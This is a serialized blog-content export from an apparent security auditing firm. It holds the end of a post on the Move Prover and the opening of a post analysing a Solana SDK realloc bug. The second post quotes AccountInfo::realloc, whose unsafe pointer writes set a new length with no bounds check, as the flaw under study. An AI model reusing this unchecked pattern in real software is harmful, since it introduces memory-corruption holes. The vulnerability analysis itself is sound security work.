ren":12891},{"style":162},[12892],{"type":28,"value":7476},{"type":23,"tag":134,"props":12894,"children":12895},{"style":179},[12896],{"type":28,"value":1021},{"type":23,"tag":134,"props":12898,"children":12899},{"class":136,"line":221},[12900,12904,12908,12912],{"type":23,"tag":134,"props":12901,"children":12902},{"style":264},[12903],{"type":28,"value":7576},{"type":23,"tag":134,"props":12905,"children":12906},{"style":179},[12907],{"type":28,"value":272},{"type":23,"tag":134,"props":12909,"children":12910},{"style":162},[12911],{"type":28,"value":7585},{"type":23,"tag":134,"props":12913,"children":12914},{"style":179},[12915],{"type":28,"value":329},{"type":23,"tag":134,"props":12917,"children":12918},{"class":136,"line":332},[12919],{"type":23,"tag":134,"props":12920,"children":12921},{"style":179},[12922],{"type":28,"value":5328},{"type":23,"tag":134,"props":12924,"children":12925},{"class":136,"line":438},[12926,12930,12934],{"type":23,"tag":134,"props":12927,"children":12928},{"style":162},[12929],{"type":28,"value":7604},{"type":23,"tag":134,"props":12931,"children":12932},{"style":162},[12933],{"type":28,"value":7450},{"type":23,"tag":134,"props":12935,"children":12936},{"style":179},[12937],{"type":28,"value":463},{"type":23,"tag":134,"props":12939,"children":12940},{"class":136,"line":466},[12941,12945,12949,12953,12957],{"type":23,"tag":134,"props":12942,"children":12943},{"style":162},[12944],{"type":28,"value":7620},{"type":23,"tag":134,"props":12946,"children":12947},{"style":162},[12948],{"type":28,"value":7625},{"type":23,"tag":134,"props":12950,"children":12951},{"style":168},[12952],{"type":28,"value":257},{"type":23,"tag":134,"props":12954,"children":12955},{"style":151},[12956],{"type":28,"value":7634},{"type":23,"tag":134,"props":12958,"children":12959},{"style":179},[12960],{"type":28,"value":182},{"type":23,"tag":134,"props":12962,"children":12963},{"class":136,"line":479},[12964,12968,12972,12976,12980],{"type":23,"tag":134,"props":12965,"children":12966},{"style":162},[12967],{"type":28,"value":7646},{"type":23,"tag":134,"props":12969,"children":12970},{"style":162},[12971],{"type":28,"value":7651},{"type":23,"tag":134,"props":12973,"children":12974},{"style":168},[12975],{"type":28,"value":7656},{"type":23,"tag":134,"props":12977,"children":12978},{"style":162},[12979],{"type":28,"value":7661},{"type":23,"tag":134,"props":12981,"children":12982},{"style":179},[12983],{"type":28,"value":182},{"type":23,"tag":134,"props":12985,"children":12986},{"class":136,"line":497},[12987,12991,12995,12999,13003],{"type":23,"tag":134,"props":12988,"children":12989},{"style":162},[12990],{"type":28,"value":7646},{"type":23,"tag":134,"props":12992,"children":12993},{"style":162},[12994],{"type":28,"value":7677},{"type":23,"tag":134,"props":12996,"children":12997},{"style":168},[12998],{"type":28,"value":7656},{"type":23,"tag":134,"props":13000,"children":13001},{"style":162},[13002],{"type":28,"value":7686},{"type":23,"tag":134,"props":13004,"children":13005},{"style":179},[13006],{"type":28,"value":182},{"type":23,"tag":134,"props":13008,"children":13009},{"class":136,"line":518},[13010],{"type":23,"tag":134,"props":13011,"children":13012},{"style":179},[13013],{"type":28,"value":5328},{"type":23,"tag":24,"props":13015,"children":13016},{},[13017],{"type":28,"value":13018},"Some other ideas include",{"type":23,"tag":4890,"props":13020,"children":13021},{},[13022,13027,13032],{"type":23,"tag":4894,"props":13023,"children":13024},{},[13025],{"type":28,"value":13026},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":4894,"props":13028,"children":13029},{},[13030],{"type":28,"value":13031},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":4894,"props":13033,"children":13034},{},[13035],{"type":28,"value":13036},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":61,"props":13038,"children":13039},{"id":2517},[13040],{"type":28,"value":2520},{"type":23,"tag":24,"props":13042,"children":13043},{},[13044],{"type":28,"value":13045},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":24,"props":13047,"children":13048},{},[13049],{"type":28,"value":13050},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":24,"props":13052,"children":13053},{},[13054,13056,13061],{"type":28,"value":13055},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":31,"props":13057,"children":13059},{"href":8704,"rel":13058},[35],[13060],{"type":28,"value":8708},{"type":28,"value":720},{"type":23,"tag":2575,"props":13063,"children":13064},{},[13065],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":13067},[13068,13069,13072,13079],{"id":8768,"depth":147,"text":8771},{"id":8822,"depth":147,"text":8825,"children":13070},[13071],{"id":9074,"depth":185,"text":9069},{"id":11976,"depth":147,"text":11979,"children":13073},[13074,13075,13076,13077,13078],{"id":11992,"depth":185,"text":11995},{"id":12243,"depth":185,"text":12246},{"id":12548,"depth":185,"text":12551},{"id":12585,"depth":185,"text":12588},{"id":12748,"depth":185,"text":12751},{"id":2517,"depth":147,"text":2520},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":13084,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13085,"description":13086,"author":13087,"image":13088,"date":13092,"isFeatured":15,"onBlogPage":15,"tags":13093,"body":13094,"_type":2586,"_id":18217,"_source":2588,"_file":18218,"_stem":18219,"_extension":2591},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":13089,"height":13090,"width":13091},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[18,8732],{"type":20,"children":13095,"toc":18201},[13096,13124,13144,13814,13834,13845,13857,13990,14000,14006,14032,14373,14418,14745,14808,14821,14895,14963,14984,14997,15011,15360,15371,15376,15507,15558,15584,15596,15769,15905,15946,15983,16049,16054,16092,16146,16157,16301,16313,16319,16325,16358,16372,16494,16513,16541,16547,16637,16728,16734,16739,16786,17055,17130,17141,17168,17500,17512,17585,17858,17895,18197],{"type":23,"tag":24,"props":13097,"children":13098},{},[13099,13101,13107,13109,13114,13116,13122],{"type":28,"value":13100},"It all started with an audit of a program that used ",{"type":23,"tag":92,"props":13102,"children":13104},{"className":13103},[],[13105],{"type":28,"value":13106},"realloc",{"type":28,"value":13108}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":92,"props":13110,"children":13112},{"className":13111},[],[13113],{"type":28,"value":13106},{"type":28,"value":13115}," call (from ",{"type":23,"tag":92,"props":13117,"children":13119},{"className":13118},[],[13120],{"type":28,"value":13121},"solana_program",{"type":28,"value":13123},") would error out appropriately.",{"type":23,"tag":24,"props":13125,"children":13126},{},[13127,13129,13135,13136,13143],{"type":28,"value":13128},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":92,"props":13130,"children":13132},{"className":13131},[],[13133],{"type":28,"value":13134},"AccountInfo::realloc",{"type":28,"value":4956},{"type":23,"tag":31,"props":13137,"children":13140},{"href":13138,"rel":13139},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[35],[13141],{"type":28,"value":13142},"implemented",{"type":28,"value":1697},{"type":23,"tag":87,"props":13145,"children":13147},{"className":128,"code":13146,"language":127,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[13148],{"type":23,"tag":92,"props":13149,"children":13150},{"__ignoreMap":7},[13151,13245,13279,13286,13294,13306,13314,13406,13439,13446,13454,13584,13615,13622,13629,13637,13671,13683,13732,13744,13773,13780,13787,13794,13807],{"type":23,"tag":134,"props":13152,"children":13153},{"class":136,"line":137},[13154,13159,13164,13169,13173,13177,13182,13186,13191,13195,13200,13204,13209,13213,13217,13221,13226,13231,13236,13241],{"type":23,"tag":134,"props":13155,"children":13156},{"style":151},[13157],{"type":28,"value":13158},"pub",{"type":23,"tag":134,"props":13160,"children":13161},{"style":151},[13162],{"type":28,"value":13163}," fn",{"type":23,"tag":134,"props":13165,"children":13166},{"style":264},[13167],{"type":28,"value":13168}," realloc",{"type":23,"tag":134,"props":13170,"children":13171},{"style":179},[13172],{"type":28,"value":272},{"type":23,"tag":134,"props":13174,"children":13175},{"style":168},[13176],{"type":28,"value":277},{"type":23,"tag":134,"props":13178,"children":13179},{"style":151},[13180],{"type":28,"value":13181},"self",{"type":23,"tag":134,"props":13183,"children":13184},{"style":179},[13185],{"type":28,"value":242},{"type":23,"tag":134,"props":13187,"children":13188},{"style":162},[13189],{"type":28,"value":13190},"new_len",{"type":23,"tag":134,"props":13192,"children":13193},{"style":168},[13194],{"type":28,"value":1697},{"type":23,"tag":134,"props":13196,"children":13197},{"style":597},[13198],{"type":28,"value":13199}," usize",{"type":23,"tag":134,"props":13201,"children":13202},{"style":179},[13203],{"type":28,"value":242},{"type":23,"tag":134,"props":13205,"children":13206},{"style":162},[13207],{"type":28,"value":13208},"zero_init",{"type":23,"tag":134,"props":13210,"children":13211},{"style":168},[13212],{"type":28,"value":1697},{"type":23,"tag":134,"props":13214,"children":13215},{"style":597},[13216],{"type":28,"value":11517},{"type":23,"tag":134,"props":13218,"children":13219},{"style":179},[13220],{"type":28,"value":252},{"type":23,"tag":134,"props":13222,"children":13223},{"style":168},[13224],{"type":28,"value":13225},"->",{"type":23,"tag":134,"props":13227,"children":13228},{"style":597},[13229],{"type":28,"value":13230}," Result",{"type":23,"tag":134,"props":13232,"children":13233},{"style":179},[13234],{"type":28,"value":13235},"\u003C(), ",{"type":23,"tag":134,"props":13237,"children":13238},{"style":597},[13239],{"type":28,"value":13240},"ProgramError",{"type":23,"tag":134,"props":13242,"children":13243},{"style":179},[13244],{"type":28,"value":6739},{"type":23,"tag":134,"props":13246,"children":13247},{"class":136,"line":147},[13248,13252,13257,13261,13266,13270,13275],{"type":23,"tag":134,"props":13249,"children":13250},{"style":151},[13251],{"type":28,"value":154},{"type":23,"tag":134,"props":13253,"children":13254},{"style":162},[13255],{"type":28,"value":13256}," orig_len",{"type":23,"tag":134,"props":13258,"children":13259},{"style":168},[13260],{"type":28,"value":171},{"type":23,"tag":134,"props":13262,"children":13263},{"style":151},[13264],{"type":28,"value":13265}," self",{"type":23,"tag":134,"props":13267,"children":13268},{"style":168},[13269],{"type":28,"value":720},{"type":23,"tag":134,"props":13271,"children":13272},{"style":264},[13273],{"type":28,"value":13274},"data_len",{"type":23,"tag":134,"props":13276,"children":13277},{"style":179},[13278],{"type":28,"value":856},{"type":23,"tag":134,"props":13280,"children":13281},{"class":136,"line":185},[13282],{"type":23,"tag":134,"props":13283,"children":13284},{"emptyLinePlaceholder":15},[13285],{"type":28,"value":865},{"type":23,"tag":134,"props":13287,"children":13288},{"class":136,"line":221},[13289],{"type":23,"tag":134,"props":13290,"children":13291},{"style":141},[13292],{"type":28,"value":13293},"    // realloc\n",{"type":23,"tag":134,"props":13295,"children":13296},{"class":136,"line":332},[13297,13302],{"type":23,"tag":134,"props":13298,"children":13299},{"style":151},[13300],{"type":28,"value":13301},"    unsafe",{"type":23,"tag":134,"props":13303,"children":13304},{"style":179},[13305],{"type":28,"value":463},{"type":23,"tag":134,"props":13307,"children":13308},{"class":136,"line":438},[13309],{"type":23,"tag":134,"props":13310,"children":13311},{"style":141},[13312],{"type":28,"value":13313},"        // First set new length in the serialized data\n",{"type":23,"tag":134,"props":13315,"children":13316},{"class":136,"line":466},[13317,13321,13326,13330,13334,13338,13343,13348,13352,13357,13361,13365,13370,13374,13378,13382,13386,13390,13394,13398,13402],{"type":23,"tag":134,"props":13318,"children":13319},{"style":151},[13320],{"type":28,"value":227},{"type":23,"tag":134,"props":13322,"children":13323},{"style":162},[13324],{"type":28,"value":13325}," ptr",{"type":23,"tag":134,"props":13327,"children":13328},{"style":168},[13329],{"type":28,"value":171},{"type":23,"tag":134,"props":13331,"children":13332},{"style":151},[13333],{"type":28,"value":13265},{"type":23,"tag":134,"props":13335,"children":13336},{"style":168},[13337],{"type":28,"value":720},{"type":23,"tag":134,"props":13339,"children":13340},{"style":264},[13341],{"type":28,"value":13342},"try_borrow_mut_data",{"type":23,"tag":134,"props":13344,"children":13345},{"style":179},[13346],{"type":28,"value":13347},"()",{"type":23,"tag":134,"props":13349,"children":13350},{"style":168},[13351],{"type":28,"value":301},{"type":23,"tag":134,"props":13353,"children":13354},{"style":264},[13355],{"type":28,"value":13356},"as_mut_ptr",{"type":23,"tag":134,"props":13358,"children":13359},{"style":179},[13360],{"type":28,"value":13347},{"type":23,"tag":134,"props":13362,"children":13363},{"style":168},[13364],{"type":28,"value":720},{"type":23,"tag":134,"props":13366,"children":13367},{"style":264},[13368],{"type":28,"value":13369},"offset",{"type":23,"tag":134,"props":13371,"children":13372},{"style":179},[13373],{"type":28,"value":272},{"type":23,"tag":134,"props":13375,"children":13376},{"style":168},[13377],{"type":28,"value":1532},{"type":23,"tag":134,"props":13379,"children":13380},{"style":205},[13381],{"type":28,"value":1278},{"type":23,"tag":134,"props":13383,"children":13384},{"style":179},[13385],{"type":28,"value":252},{"type":23,"tag":134,"props":13387,"children":13388},{"style":151},[13389],{"type":28,"value":8302},{"type":23,"tag":134,"props":13391,"children":13392},{"style":168},[13393],{"type":28,"value":9281},{"type":23,"tag":134,"props":13395,"children":13396},{"style":151},[13397],{"type":28,"value":914},{"type":23,"tag":134,"props":13399,"children":13400},{"style":597},[13401],{"type":28,"value":5316},{"type":23,"tag":134,"props":13403,"children":13404},{"style":179},[13405],{"type":28,"value":182},{"type":23,"tag":134,"props":13407,"children":13408},{"class":136,"line":479},[13409,13413,13418,13422,13427,13431,13435],{"type":23,"tag":134,"props":13410,"children":13411},{"style":168},[13412],{"type":28,"value":7210},{"type":23,"tag":134,"props":13414,"children":13415},{"style":162},[13416],{"type":28,"value":13417},"ptr",{"type":23,"tag":134,"props":13419,"children":13420},{"style":168},[13421],{"type":28,"value":171},{"type":23,"tag":134,"props":13423,"children":13424},{"style":162},[13425],{"type":28,"value":13426}," new_len",{"type":23,"tag":134,"props":13428,"children":13429},{"style":151},[13430],{"type":28,"value":8288},{"type":23,"tag":134,"props":13432,"children":13433},{"style":597},[13434],{"type":28,"value":5316},{"type":23,"tag":134,"props":13436,"children":13437},{"style":179},[13438],{"type":28,"value":182},{"type":23,"tag":134,"props":13440,"children":13441},{"class":136,"line":497},[13442],{"type":23,"tag":134,"props":13443,"children":13444},{"emptyLinePlaceholder":15},[13445],{"type":28,"value":865},{"type":23,"tag":134,"props":13447,"children":13448},{"class":136,"line":518},[13449],{"type":23,"tag":134,"props":13450,"children":13451},{"style":141},[13452],{"type":28,"value":13453},"        // Then set the new length in the local slice\n",{"type":23,"tag":134,"props":13455,"children":13456},{"class":136,"line":527},[13457,13461,13465,13469,13473,13477,13481,13486,13490,13494,13498,13502,13507,13512,13516,13520,13524,13528,13532,13536,13540,13544,13548,13552,13556,13560,13564,13568,13572,13576,13580],{"type":23,"tag":134,"props":13458,"children":13459},{"style":151},[13460],{"type":28,"value":227},{"type":23,"tag":134,"props":13462,"children":13463},{"style":162},[13464],{"type":28,"value":13325},{"type":23,"tag":134,"props":13466,"children":13467},{"style":168},[13468],{"type":28,"value":171},{"type":23,"tag":134,"props":13470,"children":13471},{"style":168},[13472],{"type":28,"value":6599},{"type":23,"tag":134,"props":13474,"children":13475},{"style":151},[13476],{"type":28,"value":914},{"type":23,"tag":134,"props":13478,"children":13479},{"style":168},[13480],{"type":28,"value":9281},{"type":23,"tag":134,"props":13482,"children":13483},{"style":179},[13484],{"type":28,"value":13485},"(((",{"type":23,"tag":134,"props":13487,"children":13488},{"style":151},[13489],{"type":28,"value":13181},{"type":23,"tag":134,"props":13491,"children":13492},{"style":168},[13493],{"type":28,"value":720},{"type":23,"tag":134,"props":13495,"children":13496},{"style":179},[13497],{"type":28,"value":892},{"type":23,"tag":134,"props":13499,"children":13500},{"style":168},[13501],{"type":28,"value":720},{"type":23,"tag":134,"props":13503,"children":13504},{"style":264},[13505],{"type":28,"value":13506},"as_ptr",{"type":23,"tag":134,"props":13508,"children":13509},{"style":179},[13510],{"type":28,"value":13511},"() ",{"type":23,"tag":134,"props":13513,"children":13514},{"style":151},[13515],{"type":28,"value":8302},{"type":23,"tag":134,"props":13517,"children":13518},{"style":168},[13519],{"type":28,"value":9281},{"type":23,"tag":134,"props":13521,"children":13522},{"style":151},[13523],{"type":28,"value":9119},{"type":23,"tag":134,"props":13525,"children":13526},{"style":597},[13527],{"type":28,"value":5316},{"type":23,"tag":134,"props":13529,"children":13530},{"style":179},[13531],{"type":28,"value":296},{"type":23,"tag":134,"props":13533,"children":13534},{"style":168},[13535],{"type":28,"value":720},{"type":23,"tag":134,"props":13537,"children":13538},{"style":264},[13539],{"type":28,"value":13369},{"type":23,"tag":134,"props":13541,"children":13542},{"style":179},[13543],{"type":28,"value":272},{"type":23,"tag":134,"props":13545,"children":13546},{"style":205},[13547],{"type":28,"value":1214},{"type":23,"tag":134,"props":13549,"children":13550},{"style":179},[13551],{"type":28,"value":252},{"type":23,"tag":134,"props":13553,"children":13554},{"style":151},[13555],{"type":28,"value":8302},{"type":23,"tag":134,"props":13557,"children":13558},{"style":597},[13559],{"type":28,"value":5316},{"type":23,"tag":134,"props":13561,"children":13562},{"style":179},[13563],{"type":28,"value":252},{"type":23,"tag":134,"props":13565,"children":13566},{"style":151},[13567],{"type":28,"value":8302},{"type":23,"tag":134,"props":13569,"children":13570},{"style":168},[13571],{"type":28,"value":9281},{"type":23,"tag":134,"props":13573,"children":13574},{"style":151},[13575],{"type":28,"value":914},{"type":23,"tag":134,"props":13577,"children":13578},{"style":597},[13579],{"type":28,"value":5316},{"type":23,"tag":134,"props":13581,"children":13582},{"style":179},[13583],{"type":28,"value":1021},{"type":23,"tag":134,"props":13585,"children":13586},{"class":136,"line":780},[13587,13591,13595,13599,13603,13607,13611],{"type":23,"tag":134,"props":13588,"children":13589},{"style":168},[13590],{"type":28,"value":7210},{"type":23,"tag":134,"props":13592,"children":13593},{"style":162},[13594],{"type":28,"value":13417},{"type":23,"tag":134,"props":13596,"children":13597},{"style":168},[13598],{"type":28,"value":171},{"type":23,"tag":134,"props":13600,"children":13601},{"style":162},[13602],{"type":28,"value":13426},{"type":23,"tag":134,"props":13604,"children":13605},{"style":151},[13606],{"type":28,"value":8288},{"type":23,"tag":134,"props":13608,"children":13609},{"style":597},[13610],{"type":28,"value":5316},{"type":23,"tag":134,"props":13612,"children":13613},{"style":179},[13614],{"type":28,"value":182},{"type":23,"tag":134,"props":13616,"children":13617},{"class":136,"line":797},[13618],{"type":23,"tag":134,"props":13619,"children":13620},{"style":179},[13621],{"type":28,"value":533},{"type":23,"tag":134,"props":13623,"children":13624},{"class":136,"line":814},[13625],{"type":23,"tag":134,"props":13626,"children":13627},{"emptyLinePlaceholder":15},[13628],{"type":28,"value":865},{"type":23,"tag":134,"props":13630,"children":13631},{"class":136,"line":827},[13632],{"type":23,"tag":134,"props":13633,"children":13634},{"style":141},[13635],{"type":28,"value":13636},"    // zero-init if requested\n",{"type":23,"tag":134,"props":13638,"children":13639},{"class":136,"line":836},[13640,13644,13649,13654,13658,13663,13667],{"type":23,"tag":134,"props":13641,"children":13642},{"style":189},[13643],{"type":28,"value":11746},{"type":23,"tag":134,"props":13645,"children":13646},{"style":162},[13647],{"type":28,"value":13648}," zero_init",{"type":23,"tag":134,"props":13650,"children":13651},{"style":168},[13652],{"type":28,"value":13653}," &&",{"type":23,"tag":134,"props":13655,"children":13656},{"style":162},[13657],{"type":28,"value":13426},{"type":23,"tag":134,"props":13659,"children":13660},{"style":168},[13661],{"type":28,"value":13662}," >",{"type":23,"tag":134,"props":13664,"children":13665},{"style":162},[13666],{"type":28,"value":13256},{"type":23,"tag":134,"props":13668,"children":13669},{"style":179},[13670],{"type":28,"value":463},{"type":23,"tag":134,"props":13672,"children":13673},{"class":136,"line":859},[13674,13679],{"type":23,"tag":134,"props":13675,"children":13676},{"style":264},[13677],{"type":28,"value":13678},"        sol_memset",{"type":23,"tag":134,"props":13680,"children":13681},{"style":179},[13682],{"type":28,"value":642},{"type":23,"tag":134,"props":13684,"children":13685},{"class":136,"line":868},[13686,13690,13694,13698,13702,13706,13710,13714,13718,13723,13727],{"type":23,"tag":134,"props":13687,"children":13688},{"style":168},[13689],{"type":28,"value":7143},{"type":23,"tag":134,"props":13691,"children":13692},{"style":151},[13693],{"type":28,"value":914},{"type":23,"tag":134,"props":13695,"children":13696},{"style":151},[13697],{"type":28,"value":13265},{"type":23,"tag":134,"props":13699,"children":13700},{"style":168},[13701],{"type":28,"value":720},{"type":23,"tag":134,"props":13703,"children":13704},{"style":264},[13705],{"type":28,"value":13342},{"type":23,"tag":134,"props":13707,"children":13708},{"style":179},[13709],{"type":28,"value":13347},{"type":23,"tag":134,"props":13711,"children":13712},{"style":168},[13713],{"type":28,"value":324},{"type":23,"tag":134,"props":13715,"children":13716},{"style":179},[13717],{"type":28,"value":924},{"type":23,"tag":134,"props":13719,"children":13720},{"style":162},[13721],{"type":28,"value":13722},"orig_len",{"type":23,"tag":134,"props":13724,"children":13725},{"style":168},[13726],{"type":28,"value":213},{"type":23,"tag":134,"props":13728,"children":13729},{"style":179},[13730],{"type":28,"value":13731},"],\n",{"type":23,"tag":134,"props":13733,"children":13734},{"class":136,"line":877},[13735,13740],{"type":23,"tag":134,"props":13736,"children":13737},{"style":205},[13738],{"type":28,"value":13739},"            0",{"type":23,"tag":134,"props":13741,"children":13742},{"style":179},[13743],{"type":28,"value":687},{"type":23,"tag":134,"props":13745,"children":13746},{"class":136,"line":946},[13747,13752,13756,13761,13765,13769],{"type":23,"tag":134,"props":13748,"children":13749},{"style":162},[13750],{"type":28,"value":13751},"            new_len",{"type":23,"tag":134,"props":13753,"children":13754},{"style":168},[13755],{"type":28,"value":720},{"type":23,"tag":134,"props":13757,"children":13758},{"style":264},[13759],{"type":28,"value":13760},"saturating_sub",{"type":23,"tag":134,"props":13762,"children":13763},{"style":179},[13764],{"type":28,"value":272},{"type":23,"tag":134,"props":13766,"children":13767},{"style":162},[13768],{"type":28,"value":13722},{"type":23,"tag":134,"props":13770,"children":13771},{"style":179},[13772],{"type":28,"value":6194},{"type":23,"tag":134,"props":13774,"children":13775},{"class":136,"line":954},[13776],{"type":23,"tag":134,"props":13777,"children":13778},{"style":179},[13779],{"type":28,"value":7202},{"type":23,"tag":134,"props":13781,"children":13782},{"class":136,"line":984},[13783],{"type":23,"tag":134,"props":13784,"children":13785},{"style":179},[13786],{"type":28,"value":533},{"type":23,"tag":134,"props":13788,"children":13789},{"class":136,"line":992},[13790],{"type":23,"tag":134,"props":13791,"children":13792},{"emptyLinePlaceholder":15},[13793],{"type":28,"value":865},{"type":23,"tag":134,"props":13795,"children":13796},{"class":136,"line":1024},[13797,13802],{"type":23,"tag":134,"props":13798,"children":13799},{"style":597},[13800],{"type":28,"value":13801},"    Ok",{"type":23,"tag":134,"props":13803,"children":13804},{"style":179},[13805],{"type":28,"value":13806},"(())\n",{"type":23,"tag":134,"props":13808,"children":13809},{"class":136,"line":1032},[13810],{"type":23,"tag":134,"props":13811,"children":13812},{"style":179},[13813],{"type":28,"value":1098},{"type":23,"tag":24,"props":13815,"children":13816},{},[13817,13819,13825,13827,13832],{"type":28,"value":13818},"Oh. There's ",{"type":23,"tag":92,"props":13820,"children":13822},{"className":13821},[],[13823],{"type":28,"value":13824},"unsafe",{"type":28,"value":13826},". And no bounds check in sight. ",{"type":23,"tag":55,"props":13828,"children":13829},{},[13830],{"type":28,"value":13831},"And",{"type":28,"value":13833}," pointer math. That doesn't look promising...",{"type":23,"tag":61,"props":13835,"children":13837},{"id":13836},"breaking-down-realloc",[13838,13840],{"type":28,"value":13839},"Breaking down ",{"type":23,"tag":92,"props":13841,"children":13843},{"className":13842},[],[13844],{"type":28,"value":13106},{"type":23,"tag":24,"props":13846,"children":13847},{},[13848,13850,13855],{"type":28,"value":13849},"Let's pick apart this ",{"type":23,"tag":92,"props":13851,"children":13853},{"className":13852},[],[13854],{"type":28,"value":13824},{"type":28,"value":13856}," block, since there's a lot going on here.",{"type":23,"tag":87,"props":13858,"children":13860},{"className":128,"code":13859,"language":127,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[13861],{"type":23,"tag":92,"props":13862,"children":13863},{"__ignoreMap":7},[13864,13872,13959],{"type":23,"tag":134,"props":13865,"children":13866},{"class":136,"line":137},[13867],{"type":23,"tag":134,"props":13868,"children":13869},{"style":141},[13870],{"type":28,"value":13871},"// First set new length in the serialized data\n",{"type":23,"tag":134,"props":13873,"children":13874},{"class":136,"line":147},[13875,13879,13883,13887,13891,13895,13899,13903,13907,13911,13915,13919,13923,13927,13931,13935,13939,13943,13947,13951,13955],{"type":23,"tag":134,"props":13876,"children":13877},{"style":151},[13878],{"type":28,"value":11254},{"type":23,"tag":134,"props":13880,"children":13881},{"style":162},[13882],{"type":28,"value":13325},{"type":23,"tag":134,"props":13884,"children":13885},{"style":168},[13886],{"type":28,"value":171},{"type":23,"tag":134,"props":13888,"children":13889},{"style":151},[13890],{"type":28,"value":13265},{"type":23,"tag":134,"props":13892,"children":13893},{"style":168},[13894],{"type":28,"value":720},{"type":23,"tag":134,"props":13896,"children":13897},{"style":264},[13898],{"type":28,"value":13342},{"type":23,"tag":134,"props":13900,"children":13901},{"style":179},[13902],{"type":28,"value":13347},{"type":23,"tag":134,"props":13904,"children":13905},{"style":168},[13906],{"type":28,"value":301},{"type":23,"tag":134,"props":13908,"children":13909},{"style":264},[13910],{"type":28,"value":13356},{"type":23,"tag":134,"props":13912,"children":13913},{"style":179},[13914],{"type":28,"value":13347},{"type":23,"tag":134,"props":13916,"children":13917},{"style":168},[13918],{"type":28,"value":720},{"type":23,"tag":134,"props":13920,"children":13921},{"style":264},[13922],{"type":28,"value":13369},{"type":23,"tag":134,"props":13924,"children":13925},{"style":179},[13926],{"type":28,"value":272},{"type":23,"tag":134,"props":13928,"children":13929},{"style":168},[13930],{"type":28,"value":1532},{"type":23,"tag":134,"props":13932,"children":13933},{"style":205},[13934],{"type":28,"value":1278},{"type":23,"tag":134,"props":13936,"children":13937},{"style":179},[13938],{"type":28,"value":252},{"type":23,"tag":134,"props":13940,"children":13941},{"style":151},[13942],{"type":28,"value":8302},{"type":23,"tag":134,"props":13944,"children":13945},{"style":168},[13946],{"type":28,"value":9281},{"type":23,"tag":134,"props":13948,"children":13949},{"style":151},[13950],{"type":28,"value":914},{"type":23,"tag":134,"props":13952,"children":13953},{"style":597},[13954],{"type":28,"value":5316},{"type":23,"tag":134,"props":13956,"children":13957},{"style":179},[13958],{"type":28,"value":182},{"type":23,"tag":134,"props":13960,"children":13961},{"class":136,"line":185},[13962,13966,13970,13974,13978,13982,13986],{"type":23,"tag":134,"props":13963,"children":13964},{"style":168},[13965],{"type":28,"value":1777},{"type":23,"tag":134,"props":13967,"children":13968},{"style":162},[13969],{"type":28,"value":13417},{"type":23,"tag":134,"props":13971,"children":13972},{"style":168},[13973],{"type":28,"value":171},{"type":23,"tag":134,"props":13975,"children":13976},{"style":162},[13977],{"type":28,"value":13426},{"type":23,"tag":134,"props":13979,"children":13980},{"style":151},[13981],{"type":28,"value":8288},{"type":23,"tag":134,"props":13983,"children":13984},{"style":597},[13985],{"type":28,"value":5316},{"type":23,"tag":134,"props":13987,"children":13988},{"style":179},[13989],{"type":28,"value":182},{"type":23,"tag":24,"props":13991,"children":13992},{},[13993,13998],{"type":23,"tag":92,"props":13994,"children":13996},{"className":13995},[],[13997],{"type":28,"value":13342},{"type":28,"value":13999}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":9072,"props":14001,"children":14003},{"id":14002},"bpf-loader-abi",[14004],{"type":28,"value":14005},"BPF Loader ABI",{"type":23,"tag":24,"props":14007,"children":14008},{},[14009,14011,14016,14018,14031],{"type":28,"value":14010},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":92,"props":14012,"children":14014},{"className":14013},[],[14015],{"type":28,"value":13121},{"type":28,"value":14017},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":31,"props":14019,"children":14022},{"href":14020,"rel":14021},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[35],[14023,14029],{"type":23,"tag":92,"props":14024,"children":14026},{"className":14025},[],[14027],{"type":28,"value":14028},"entrypoint!",{"type":28,"value":14030}," macro",{"type":28,"value":1697},{"type":23,"tag":87,"props":14033,"children":14035},{"className":128,"code":14034,"language":127,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, 